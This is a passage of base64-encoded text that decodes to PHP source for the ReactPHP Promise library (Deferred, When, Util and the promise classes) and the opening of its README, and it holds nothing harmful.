xhc3MgRGVmZXJyZWQgaW1wbGVtZW50cyBQcm9taXNlSW50ZXJmYWNlLCBSZXNvbHZlckludGVyZmFjZSwgUHJvbWlzb3JJbnRlcmZhY2UKewogICAgcHJpdmF0ZSAkY29tcGxldGVkOwogICAgcHJpdmF0ZSAkcHJvbWlzZTsKICAgIHByaXZhdGUgJHJlc29sdmVyOwogICAgcHJpdmF0ZSAkaGFuZGxlcnMgPSBhcnJheSgpOwogICAgcHJpdmF0ZSAkcHJvZ3Jlc3NIYW5kbGVycyA9IGFycmF5KCk7CgogICAgcHVibGljIGZ1bmN0aW9uIHRoZW4oJGZ1bGZpbGxlZEhhbmRsZXIgPSBudWxsLCAkZXJyb3JIYW5kbGVyID0gbnVsbCwgJHByb2dyZXNzSGFuZGxlciA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKG51bGwgIT09ICR0aGlzLT5jb21wbGV0ZWQpIHsKICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5jb21wbGV0ZWQtPnRoZW4oJGZ1bGZpbGxlZEhhbmRsZXIsICRlcnJvckhhbmRsZXIsICRwcm9ncmVzc0hhbmRsZXIpOwogICAgICAgIH0KCiAgICAgICAgJGRlZmVycmVkID0gbmV3IHN0YXRpYygpOwoKICAgICAgICBpZiAoaXNfY2FsbGFibGUoJHByb2dyZXNzSGFuZGxlcikpIHsKICAgICAgICAgICAgJHByb2dIYW5kbGVyID0gZnVuY3Rpb24gKCR1cGRhdGUpIHVzZSAoJGRlZmVycmVkLCAkcHJvZ3Jlc3NIYW5kbGVyKSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICRkZWZlcnJlZC0+cHJvZ3Jlc3MoY2FsbF91c2VyX2Z1bmMoJHByb2dyZXNzSGFuZGxlciwgJHVwZGF0ZSkpOwogICAgICAgICAgICAgICAgfSBjYXRjaCAoXEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgICAgICRkZWZlcnJlZC0+cHJvZ3Jlc3MoJGUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChudWxsICE9PSAkcHJvZ3Jlc3NIYW5kbGVyKSB7CiAgICAgICAgICAgICAgICB0cmlnZ2VyX2Vycm9yKCdJbnZhbGlkICRwcm9ncmVzc0hhbmRsZXIgYXJndW1lbnQgcGFzc2VkIHRvIHRoZW4oKSwgbXVzdCBiZSBudWxsIG9yIGNhbGxhYmxlLicsIEVfVVNFUl9OT1RJQ0UpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkcHJvZ0hhbmRsZXIgPSBhcnJheSgkZGVmZXJyZWQsICdwcm9ncmVzcycpOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPmhhbmRsZXJzW10gPSBmdW5jdGlvbiAoJHByb21pc2UpIHVzZSAoJGZ1bGZpbGxlZEhhbmRsZXIsICRlcnJvckhhbmRsZXIsICRkZWZlcnJlZCwgJHByb2dIYW5kbGVyKSB7CiAgICAgICAgICAgICRwcm9taXNlCiAgICAgICAgICAgICAgICAtPnRoZW4oJGZ1bGZpbGxlZEhhbmRsZXIsICRlcnJvckhhbmRsZXIpCiAgICAgICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJGRlZmVycmVkLCAncmVzb2x2ZScpLAogICAgICAgICAgICAgICAgICAgIGFycmF5KCRkZWZlcnJlZCwgJ3JlamVjdCcpLAogICAgICAgICAgICAgICAgICAgICRwcm9nSGFuZGxlcgogICAgICAgICAgICAgICAgKTsKICAgICAgICB9OwoKICAgICAgICAkdGhpcy0+cHJvZ3Jlc3NIYW5kbGVyc1tdID0gJHByb2dIYW5kbGVyOwoKICAgICAgICByZXR1cm4gJGRlZmVycmVkLT5wcm9taXNlKCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJlc29sdmUoJHJlc3VsdCA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKG51bGwgIT09ICR0aGlzLT5jb21wbGV0ZWQpIHsKICAgICAgICAgICAgcmV0dXJuIFV0aWw6OnByb21pc2VGb3IoJHJlc3VsdCk7CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+Y29tcGxldGVkID0gVXRpbDo6cHJvbWlzZUZvcigkcmVzdWx0KTsKCiAgICAgICAgJHRoaXMtPnByb2Nlc3NRdWV1ZSgkdGhpcy0+aGFuZGxlcnMsICR0aGlzLT5jb21wbGV0ZWQpOwoKICAgICAgICAkdGhpcy0+cHJvZ3Jlc3NIYW5kbGVycyA9ICR0aGlzLT5oYW5kbGVycyA9IGFycmF5KCk7CgogICAgICAgIHJldHVybiAkdGhpcy0+Y29tcGxldGVkOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZWplY3QoJHJlYXNvbiA9IG51bGwpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5yZXNvbHZlKFV0aWw6OnJlamVjdGVkUHJvbWlzZUZvcigkcmVhc29uKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHByb2dyZXNzKCR1cGRhdGUgPSBudWxsKQogICAgewogICAgICAgIGlmIChudWxsICE9PSAkdGhpcy0+Y29tcGxldGVkKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5wcm9jZXNzUXVldWUoJHRoaXMtPnByb2dyZXNzSGFuZGxlcnMsICR1cGRhdGUpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBwcm9taXNlKCkKICAgIHsKICAgICAgICBpZiAobnVsbCA9PT0gJHRoaXMtPnByb21pc2UpIHsKICAgICAgICAgICAgJHRoaXMtPnByb21pc2UgPSBuZXcgRGVmZXJyZWRQcm9taXNlKCR0aGlzKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAkdGhpcy0+cHJvbWlzZTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzb2x2ZXIoKQogICAgewogICAgICAgIGlmIChudWxsID09PSAkdGhpcy0+cmVzb2x2ZXIpIHsKICAgICAgICAgICAgJHRoaXMtPnJlc29sdmVyID0gbmV3IERlZmVycmVkUmVzb2x2ZXIoJHRoaXMpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICR0aGlzLT5yZXNvbHZlcjsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gcHJvY2Vzc1F1ZXVlKCRxdWV1ZSwgJHZhbHVlKQogICAgewogICAgICAgIGZvcmVhY2ggKCRxdWV1ZSBhcyAkaGFuZGxlcikgewogICAgICAgICAgICBjYWxsX3VzZXJfZnVuYygkaGFuZGxlciwgJHZhbHVlKTsKICAgICAgICB9CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxQcm9taXNlOwoKY2xhc3MgV2hlbgp7CiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc29sdmUoJHByb21pc2VPclZhbHVlID0gbnVsbCkKICAgIHsKICAgICAgICByZXR1cm4gVXRpbDo6cHJvbWlzZUZvcigkcHJvbWlzZU9yVmFsdWUpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVqZWN0KCRwcm9taXNlT3JWYWx1ZSA9IG51bGwpCiAgICB7CiAgICAgICAgcmV0dXJuIFV0aWw6OnJlamVjdGVkUHJvbWlzZUZvcigkcHJvbWlzZU9yVmFsdWUpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gbGF6eSgkZmFjdG9yeSkKICAgIHsKICAgICAgICByZXR1cm4gbmV3IExhenlQcm9taXNlKCRmYWN0b3J5KTsKICAgIH0KCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGFsbCgkcHJvbWlzZXNPclZhbHVlcywgJGZ1bGZpbGxlZEhhbmRsZXIgPSBudWxsLCAkZXJyb3JIYW5kbGVyID0gbnVsbCwgJHByb2dyZXNzSGFuZGxlciA9IG51bGwpCiAgICB7CiAgICAgICAgJHByb21pc2UgPSBzdGF0aWM6Om1hcCgkcHJvbWlzZXNPclZhbHVlcywgZnVuY3Rpb24gKCR2YWwpIHsKICAgICAgICAgICAgcmV0dXJuICR2YWw7CiAgICAgICAgfSk7CgogICAgICAgIHJldHVybiAkcHJvbWlzZS0+dGhlbigkZnVsZmlsbGVkSGFuZGxlciwgJGVycm9ySGFuZGxlciwgJHByb2dyZXNzSGFuZGxlcik7CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBhbnkoJHByb21pc2VzT3JWYWx1ZXMsICRmdWxmaWxsZWRIYW5kbGVyID0gbnVsbCwgJGVycm9ySGFuZGxlciA9IG51bGwsICRwcm9ncmVzc0hhbmRsZXIgPSBudWxsKQogICAgewogICAgICAgICR1bndyYXBTaW5nbGVSZXN1bHQgPSBmdW5jdGlvbiAoJHZhbCkgdXNlICgkZnVsZmlsbGVkSGFuZGxlcikgewogICAgICAgICAgICAkdmFsID0gYXJyYXlfc2hpZnQoJHZhbCk7CgogICAgICAgICAgICByZXR1cm4gJGZ1bGZpbGxlZEhhbmRsZXIgPyAkZnVsZmlsbGVkSGFuZGxlcigkdmFsKSA6ICR2YWw7CiAgICAgICAgfTsKCiAgICAgICAgcmV0dXJuIHN0YXRpYzo6c29tZSgkcHJvbWlzZXNPclZhbHVlcywgMSwgJHVud3JhcFNpbmdsZVJlc3VsdCwgJGVycm9ySGFuZGxlciwgJHByb2dyZXNzSGFuZGxlcik7CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBzb21lKCRwcm9taXNlc09yVmFsdWVzLCAkaG93TWFueSwgJGZ1bGZpbGxlZEhhbmRsZXIgPSBudWxsLCAkZXJyb3JIYW5kbGVyID0gbnVsbCwgJHByb2dyZXNzSGFuZGxlciA9IG51bGwpCiAgICB7CiAgICAgICAgcmV0dXJuIFdoZW46OnJlc29sdmUoJHByb21pc2VzT3JWYWx1ZXMpLT50aGVuKGZ1bmN0aW9uICgkYXJyYXkpIHVzZSAoJGhvd01hbnksICRmdWxmaWxsZWRIYW5kbGVyLCAkZXJyb3JIYW5kbGVyLCAkcHJvZ3Jlc3NIYW5kbGVyKSB7CiAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJGFycmF5KSkgewogICAgICAgICAgICAgICAgJGFycmF5ID0gYXJyYXkoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGxlbiAgICAgICA9IGNvdW50KCRhcnJheSk7CiAgICAgICAgICAgICR0b1Jlc29sdmUgPSBtYXgoMCwgbWluKCRob3dNYW55LCAkbGVuKSk7CiAgICAgICAgICAgICR2YWx1ZXMgICAgPSBhcnJheSgpOwogICAgICAgICAgICAkZGVmZXJyZWQgID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICAgICBpZiAoISR0b1Jlc29sdmUpIHsKICAgICAgICAgICAgICAgICRkZWZlcnJlZC0+cmVzb2x2ZSgkdmFsdWVzKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICR0b1JlamVjdCA9ICgkbGVuIC0gJHRvUmVzb2x2ZSkgKyAxOwogICAgICAgICAgICAgICAgJHJlYXNvbnMgID0gYXJyYXkoKTsKCiAgICAgICAgICAgICAgICAkcHJvZ3Jlc3MgPSBhcnJheSgkZGVmZXJyZWQsICdwcm9ncmVzcycpOwoKICAgICAgICAgICAgICAgICRmdWxmaWxsT25lID0gZnVuY3Rpb24gKCR2YWwsICRpKSB1c2UgKCYkdmFsdWVzLCAmJHRvUmVzb2x2ZSwgJGRlZmVycmVkKSB7CiAgICAgICAgICAgICAgICAgICAgJHZhbHVlc1skaV0gPSAkdmFsOwoKICAgICAgICAgICAgICAgICAgICBpZiAoMCA9PT0gLS0kdG9SZXNvbHZlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRkZWZlcnJlZC0+cmVzb2x2ZSgkdmFsdWVzKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAgICAgJHJlamVjdE9uZSA9IGZ1bmN0aW9uICgkcmVhc29uLCAkaSkgdXNlICgmJHJlYXNvbnMsICYkdG9SZWplY3QsICRkZWZlcnJlZCkgewogICAgICAgICAgICAgICAgICAgICRyZWFzb25zWyRpXSA9ICRyZWFzb247CgogICAgICAgICAgICAgICAgICAgIGlmICgwID09PSAtLSR0b1JlamVjdCkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGVmZXJyZWQtPnJlamVjdCgkcmVhc29ucyk7CgogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhcnJheSBhcyAkaSA9PiAkcHJvbWlzZU9yVmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAkZnVsZmlsbGVyID0gZnVuY3Rpb24gKCR2YWwpIHVzZSAoJGksICYkZnVsZmlsbE9uZSwgJiRyZWplY3RPbmUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc2V0ID0gJGZ1bGZpbGxPbmUoJHZhbCwgJGkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUgPT09ICRyZXNldCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGZpbGxPbmUgPSAkcmVqZWN0T25lID0gZnVuY3Rpb24gKCkge307CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgICAgICAgICAkcmVqZWN0ZXIgPSBmdW5jdGlvbiAoJHZhbCkgdXNlICgkaSwgJiRmdWxmaWxsT25lLCAmJHJlamVjdE9uZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVzZXQgPSAkcmVqZWN0T25lKCR2YWwsICRpKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh0cnVlID09PSAkcmVzZXQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmdWxmaWxsT25lID0gJHJlamVjdE9uZSA9IGZ1bmN0aW9uICgpIHt9OwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfTsKCiAgICAgICAgICAgICAgICAgICAgV2hlbjo6cmVzb2x2ZSgkcHJvbWlzZU9yVmFsdWUpLT50aGVuKCRmdWxmaWxsZXIsICRyZWplY3RlciwgJHByb2dyZXNzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgcmV0dXJuICRkZWZlcnJlZC0+dGhlbigkZnVsZmlsbGVkSGFuZGxlciwgJGVycm9ySGFuZGxlciwgJHByb2dyZXNzSGFuZGxlcik7CiAgICAgICAgfSk7CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBtYXAoJHByb21pc2VzT3JWYWx1ZXMsICRtYXBGdW5jKQogICAgewogICAgICAgIHJldHVybiBXaGVuOjpyZXNvbHZlKCRwcm9taXNlc09yVmFsdWVzKS0+dGhlbihmdW5jdGlvbiAoJGFycmF5KSB1c2UgKCRtYXBGdW5jKSB7CiAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJGFycmF5KSkgewogICAgICAgICAgICAgICAgJGFycmF5ID0gYXJyYXkoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHRvUmVzb2x2ZSA9IGNvdW50KCRhcnJheSk7CiAgICAgICAgICAgICRyZXN1bHRzICAgPSBhcnJheSgpOwogICAgICAgICAgICAkZGVmZXJyZWQgID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICAgICBpZiAoISR0b1Jlc29sdmUpIHsKICAgICAgICAgICAgICAgICRkZWZlcnJlZC0+cmVzb2x2ZSgkcmVzdWx0cyk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkcmVzb2x2ZSA9IGZ1bmN0aW9uICgkaXRlbSwgJGkpIHVzZSAoJG1hcEZ1bmMsICYkcmVzdWx0cywgJiR0b1Jlc29sdmUsICRkZWZlcnJlZCkgewogICAgICAgICAgICAgICAgICAgIFdoZW46OnJlc29sdmUoJGl0ZW0pCiAgICAgICAgICAgICAgICAgICAgICAgIC0+dGhlbigkbWFwRnVuYykKICAgICAgICAgICAgICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gKCRtYXBwZWQpIHVzZSAoJiRyZXN1bHRzLCAkaSwgJiR0b1Jlc29sdmUsICRkZWZlcnJlZCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHRzWyRpXSA9ICRtYXBwZWQ7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgwID09PSAtLSR0b1Jlc29sdmUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRlZmVycmVkLT5yZXNvbHZlKCRyZXN1bHRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXkoJGRlZmVycmVkLCAncmVqZWN0JykKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGFycmF5IGFzICRpID0+ICRpdGVtKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc29sdmUoJGl0ZW0sICRpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgcmV0dXJuICRkZWZlcnJlZC0+cHJvbWlzZSgpOwogICAgICAgIH0pOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVkdWNlKCRwcm9taXNlc09yVmFsdWVzLCAkcmVkdWNlRnVuYyAsICRpbml0aWFsVmFsdWUgPSBudWxsKQogICAgewogICAgICAgIHJldHVybiBXaGVuOjpyZXNvbHZlKCRwcm9taXNlc09yVmFsdWVzKS0+dGhlbihmdW5jdGlvbiAoJGFycmF5KSB1c2UgKCRyZWR1Y2VGdW5jLCAkaW5pdGlhbFZhbHVlKSB7CiAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJGFycmF5KSkgewogICAgICAgICAgICAgICAgJGFycmF5ID0gYXJyYXkoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHRvdGFsID0gY291bnQoJGFycmF5KTsKICAgICAgICAgICAgJGkgPSAwOwoKICAgICAgICAgICAgLy8gV3JhcCB0aGUgc3VwcGxpZWQgJHJlZHVjZUZ1bmMgd2l0aCBvbmUgdGhhdCBoYW5kbGVzIHByb21pc2VzIGFuZCB0aGVuCiAgICAgICAgICAgIC8vIGRlbGVnYXRlcyB0byB0aGUgc3VwcGxpZWQuCiAgICAgICAgICAgICR3cmFwcGVkUmVkdWNlRnVuYyA9IGZ1bmN0aW9uICgkY3VycmVudCwgJHZhbCkgdXNlICgkcmVkdWNlRnVuYywgJHRvdGFsLCAmJGkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBXaGVuOjpyZXNvbHZlKCRjdXJyZW50KS0+dGhlbihmdW5jdGlvbiAoJGMpIHVzZSAoJHJlZHVjZUZ1bmMsICR0b3RhbCwgJiRpLCAkdmFsKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFdoZW46OnJlc29sdmUoJHZhbCktPnRoZW4oZnVuY3Rpb24gKCR2YWx1ZSkgdXNlICgkcmVkdWNlRnVuYywgJHRvdGFsLCAmJGksICRjKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkcmVkdWNlRnVuYywgJGMsICR2YWx1ZSwgJGkrKywgJHRvdGFsKTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9OwoKICAgICAgICAgICAgcmV0dXJuIGFycmF5X3JlZHVjZSgkYXJyYXksICR3cmFwcGVkUmVkdWNlRnVuYywgJGluaXRpYWxWYWx1ZSk7CiAgICAgICAgfSk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxQcm9taXNlOwoKaW50ZXJmYWNlIFJlc29sdmVySW50ZXJmYWNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiByZXNvbHZlKCRyZXN1bHQgPSBudWxsKTsKICAgIHB1YmxpYyBmdW5jdGlvbiByZWplY3QoJHJlYXNvbiA9IG51bGwpOwogICAgcHVibGljIGZ1bmN0aW9uIHByb2dyZXNzKCR1cGRhdGUgPSBudWxsKTsKfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgpjbGFzcyBVdGlsCnsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcHJvbWlzZUZvcigkcHJvbWlzZU9yVmFsdWUpCiAgICB7CiAgICAgICAgaWYgKCRwcm9taXNlT3JWYWx1ZSBpbnN0YW5jZW9mIFByb21pc2VJbnRlcmZhY2UpIHsKICAgICAgICAgICAgcmV0dXJuICRwcm9taXNlT3JWYWx1ZTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBuZXcgRnVsZmlsbGVkUHJvbWlzZSgkcHJvbWlzZU9yVmFsdWUpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVqZWN0ZWRQcm9taXNlRm9yKCRwcm9taXNlT3JWYWx1ZSkKICAgIHsKICAgICAgICBpZiAoJHByb21pc2VPclZhbHVlIGluc3RhbmNlb2YgUHJvbWlzZUludGVyZmFjZSkgewogICAgICAgICAgICByZXR1cm4gJHByb21pc2VPclZhbHVlLT50aGVuKGZ1bmN0aW9uICgkdmFsdWUpIHsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgUmVqZWN0ZWRQcm9taXNlKCR2YWx1ZSk7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIG5ldyBSZWplY3RlZFByb21pc2UoJHByb21pc2VPclZhbHVlKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgpjbGFzcyBEZWZlcnJlZFByb21pc2UgaW1wbGVtZW50cyBQcm9taXNlSW50ZXJmYWNlCnsKICAgIHByaXZhdGUgJGRlZmVycmVkOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChEZWZlcnJlZCAkZGVmZXJyZWQpCiAgICB7CiAgICAgICAgJHRoaXMtPmRlZmVycmVkID0gJGRlZmVycmVkOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0aGVuKCRmdWxmaWxsZWRIYW5kbGVyID0gbnVsbCwgJGVycm9ySGFuZGxlciA9IG51bGwsICRwcm9ncmVzc0hhbmRsZXIgPSBudWxsKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+ZGVmZXJyZWQtPnRoZW4oJGZ1bGZpbGxlZEhhbmRsZXIsICRlcnJvckhhbmRsZXIsICRwcm9ncmVzc0hhbmRsZXIpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcUHJvbWlzZTsKCmNsYXNzIEZ1bGZpbGxlZFByb21pc2UgaW1wbGVtZW50cyBQcm9taXNlSW50ZXJmYWNlCnsKICAgIHByaXZhdGUgJHJlc3VsdDsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHJlc3VsdCA9IG51bGwpCiAgICB7CiAgICAgICAgJHRoaXMtPnJlc3VsdCA9ICRyZXN1bHQ7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRoZW4oJGZ1bGZpbGxlZEhhbmRsZXIgPSBudWxsLCAkZXJyb3JIYW5kbGVyID0gbnVsbCwgJHByb2dyZXNzSGFuZGxlciA9IG51bGwpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5yZXN1bHQ7CgogICAgICAgICAgICBpZiAoaXNfY2FsbGFibGUoJGZ1bGZpbGxlZEhhbmRsZXIpKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gY2FsbF91c2VyX2Z1bmMoJGZ1bGZpbGxlZEhhbmRsZXIsICRyZXN1bHQpOwogICAgICAgICAgICB9IGVsc2VpZiAobnVsbCAhPT0gJGZ1bGZpbGxlZEhhbmRsZXIpIHsKICAgICAgICAgICAgICAgIHRyaWdnZXJfZXJyb3IoJ0ludmFsaWQgJGZ1bGZpbGxlZEhhbmRsZXIgYXJndW1lbnQgcGFzc2VkIHRvIHRoZW4oKSwgbXVzdCBiZSBudWxsIG9yIGNhbGxhYmxlLicsIEVfVVNFUl9OT1RJQ0UpOwogICAgICAgICAgICB9CgogICAgICAgICAgICByZXR1cm4gVXRpbDo6cHJvbWlzZUZvcigkcmVzdWx0KTsKICAgICAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRleGNlcHRpb24pIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBSZWplY3RlZFByb21pc2UoJGV4Y2VwdGlvbik7CiAgICAgICAgfQogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcUHJvbWlzZTsKCmNsYXNzIFJlamVjdGVkUHJvbWlzZSBpbXBsZW1lbnRzIFByb21pc2VJbnRlcmZhY2UKewogICAgcHJpdmF0ZSAkcmVhc29uOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkcmVhc29uID0gbnVsbCkKICAgIHsKICAgICAgICAkdGhpcy0+cmVhc29uID0gJHJlYXNvbjsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGhlbigkZnVsZmlsbGVkSGFuZGxlciA9IG51bGwsICRlcnJvckhhbmRsZXIgPSBudWxsLCAkcHJvZ3Jlc3NIYW5kbGVyID0gbnVsbCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoIWlzX2NhbGxhYmxlKCRlcnJvckhhbmRsZXIpKSB7CiAgICAgICAgICAgICAgICBpZiAobnVsbCAhPT0gJGVycm9ySGFuZGxlcikgewogICAgICAgICAgICAgICAgICAgIHRyaWdnZXJfZXJyb3IoJ0ludmFsaWQgJGVycm9ySGFuZGxlciBhcmd1bWVudCBwYXNzZWQgdG8gdGhlbigpLCBtdXN0IGJlIG51bGwgb3IgY2FsbGFibGUuJywgRV9VU0VSX05PVElDRSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBSZWplY3RlZFByb21pc2UoJHRoaXMtPnJlYXNvbik7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJldHVybiBVdGlsOjpwcm9taXNlRm9yKGNhbGxfdXNlcl9mdW5jKCRlcnJvckhhbmRsZXIsICR0aGlzLT5yZWFzb24pKTsKICAgICAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRleGNlcHRpb24pIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBSZWplY3RlZFByb21pc2UoJGV4Y2VwdGlvbik7CiAgICAgICAgfQogICAgfQp9ClJlYWN0L1Byb21pc2UKPT09PT09PT09PT09PQoKQSBsaWdodHdlaWdodCBpbXBsZW1lbnRhdGlvbiBvZgpbQ29tbW9uSlMgUHJvbWlzZXMvQV0oaHR0cDovL3dpa2kuY29tbW9uanMub3JnL3dpa2kvUHJvbWlzZXMvQSkgZm9yIFBIUC4KClshW0J1aWxkIFN0YXR1c10oaHR0cHM6Ly9zZWN1cmUudHJhdmlzLWNpLm9yZy9yZWFjdHBocC9wcm9taXNlLnBuZz9icmFuY2g9bWFzdGVyKV0oaHR0cDovL3RyYXZpcy1jaS5vcmcvcmVhY3RwaHAvcHJvbWlzZSkKClRhYmxlIG9mIENvbnRlbnRzCi0tLS0tLS0tLS0tLS0tLS0tCgoxLiBbSW50cm9kdWN0aW9uXSgjaW50cm9kdWN0aW9uKQoyLiBbQ29uY2VwdHNdKCNjb25jZXB0cykKICAgKiBbRGVmZXJyZWRdKCNkZWZlcnJlZCkKICAgKiBbUHJvbWlzZV0oI3Byb21pc2UpCiAgICogW1Jlc29sdmVyXSgjcmVzb2x2ZXIpCjMuIFtBUEldKCNhcGkpCiAgICogW0RlZmVycmVkXSgjZGVmZXJyZWQtMSkKICAgKiBbUHJvbWlzZV0oI3Byb21pc2UtMSkKICAgKiBbUmVzb2x2ZXJdKCNyZXNvbHZlci0xKQogICAqIFtXaGVuXSgjd2hlbikKICAgICAqIFtXaGVuOjphbGwoKV0oI3doZW5hbGwpCiAgICAgKiBbV2hlbjo6YW55KCldKCN3aGVuYW55KQogICAgICogW1doZW46OnNvbWUoKV0oI3doZW5zb21lKQogICAgICogW1doZW46Om1hcCgpXSgjd2hlbm1hcCkKICAgICAqIFtXaGVuOjpyZWR1Y2UoKV0oI3doZW5yZWR1Y2UpCiAgICAgKiBbV2hlbjo6cmVzb2x2ZSgpXSgjd2hlbnJlc29sdmUpCiAgICAgKiBbV2hlbjo6cmVqZWN0KCldKCN3aGVucmVqZWN0KQogICAgICogW1doZW46OmxhenkoKV0oI3doZW5sYXp5KQogICAqIFtQcm9taXNvcl0oI3Byb21pc29yKQo0LiBbRXhhbXBsZXNdKCNleGFtcGxlcykKICAgKiBbSG93IHRvIHVzZSBEZWZlcnJlZF0oI2hvdy10by11c2UtZGVmZXJyZWQpCiAgICogW0hvd